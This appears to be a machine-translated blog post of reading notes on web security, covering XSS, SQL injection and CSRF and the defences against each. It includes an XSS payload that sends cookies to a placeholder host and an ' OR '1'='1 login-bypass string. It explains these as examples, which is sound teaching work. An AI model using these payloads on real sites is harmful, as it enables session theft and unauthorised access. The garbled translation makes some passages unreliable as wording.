[Чтение отмечает] архитектура безопасности сайта

предисловие

У меня был чтение заметок перед этим куриным блюдом, устроить «крупномасштабный веб - сайт Technology Framework» книга пяти архитектурных элементов , описанные книги Zhihui учителя. Эти пять факторов производительность, доступность, гибкость, масштабируемость, безопасность . В этой статье, безопасность простое обсуждение элементов контента является основным справочным от «крупномасштабной веб - сайта Technology Framework» Эта книга (очень рекомендую эту книгу, лично думаю , что эта книга , можно сказать, существует как внедрение технологической архитектуры ).

Так называемые средства безопасности, требует, чтобы система в ответ на различные атаки, чтобы иметь достоверный ответ.

Эта статья расческа несколько методов общего нападения, а также соответствующие средства защиты.

Межсайтовый скриптинг атаки (XSS)

XSS (Cross-Site Scripting, XSS) , вы можете код будет введен в просмотренных страниц на таком коде включают HTML и JavaScript

I. Нападения

Например, есть форум сайта, злоумышленник может опубликовать следующее выше:

<script>location.href="//domain.com/?c=" + document.cookie</script>

После того, как содержимое может быть вынесено в следующем виде:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

Другой пользователь просматривает страницы с контентом будут прыгать на domain.com и осуществлять текущий объем Cookie. Если веб - сайт Форума пользователя Cookie Manager , вошел в системе , злоумышленник может войти через этот Cookie является счетом злоумышленника.

Во-вторых, вред

  • Кража Cookie пользователя
  • Кованые ложную личную информацию формы ввода обмануть

В-третьих, средства защиты

1. Дезинфекция

XSS атака, как правило, устанавливается на вредоносном объект сценария в запросе такой атака, эти сценарии, как правило, не используется для ввода данных пользователя, если фильтрация и дезинфекция, т.е. определенного HTML избежать опасных символов, например " < 'убегает' & л ';, то '>'ускользает & GT' HTML и Javascript код, чтобы избежать операции..

Дезинфекция почти все сайты, необходимые анти-XSS атак.

2. HttpOnly

Установка HttpOnly из Cookie может предотвратить JavaScript вызовов сценариев , вы не можете получить информацию о document.cookie пользователя Cookie.

Атаки инъекции SQL

Злоумышленник вводит команду SQL в запросе HTTP сервер конфигурируется с помощью команды параметров запроса SQL базы данных, SQL злонамеренного настроены вместе и выполняются в базе данных.

Здесь Insert Picture Описание

I. Нападения

Например, веб-сайт Логин аутентификации SQL-код запроса:

sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

Если вы заполните следующее:

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

Затем строка SQL-запрос:

sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

На этом этапе вы можете выполнить следующий запрос без аутентификации с помощью:

sql = "SELECT * FROM users;"

Во-вторых, средства защиты

1. Дезинфекция

И анти-XSS атака, параметры запроса дезинфекция является относительно простой и грубым, но эффективное средства. Путем сопоставления сроков, фильтр может запрашивать данные в SQL инъекции, такие как «падение стола» и тому подобное.

2. связывание параметров

В Java PreparedStatement является скомпилированные SQL заявления, вы можете передать соответствующие параметры и несколько казней. Поскольку не существует никакого процесса сшивания, можно предотвратить инъекции SQL происходит.

PreparedStatement ps = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
ps.setString(1, userid);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

Запрос Межсайтовые подлог (CSRF)

CSRF (запрос Межсайтовый подделке, CSRF), злоумышленник через некоторые технические средства, чтобы обмануть браузер пользователя для доступа к веб-сайт, они сертифицированную и выполнить какое-либо действие (например, электронная почта, обмен сообщениями и даже операции на недвижимость такие как переводы и покупки). Поскольку браузер был сертифицирован, поэтому сайт доступен думаю, это реальный пользователь для выполнения операций прочь.

XSS эксплуатирует доверие пользователя обозначенного сайта, CSRF используют доверие браузера на вебе-сайте пользователя.

Средства защиты

1. Форма Токен

Сервер генерирует случайное число в форме и прикрепить к нему, и требует, чтобы клиент возвращает случайное число.

2. Введите PIN-код

Поскольку CSRF нападение происходит, когда пользователь в бессознательном состоянии, он требует от пользователей ввести код подтверждения, который позволяет пользователям знать, что они делают операцию.

3. Проверьте поле заголовка Referer

Поле заголовка Referer находится в пакете HTTP, адрес, идентифицирующий источник запроса. Проверьте этот заголовок поле и адрес требования источника запроса под тем же именем домена, он может значительно предотвратить CSRF атаки.

Этот подход прост, низкая нагрузка, нужно только увеличить доступ к критической стадии проверки на месте. Но этот подход имеет свои ограничения, из-за его полностью зависят от браузера посылает правильное поле Referer. Хотя протокол HTTP этого содержания поле четко определены, но не гарантирует реализацию посещающего браузера, браузер также не может гарантировать, что никаких уязвимостей не затрагивая эту область. И там могут быть некоторые браузеры нападавшие, фальсифицировать их Referer поле.

рекомендация

отblog.csdn.net/u013568373/article/details/91371691
рекомендация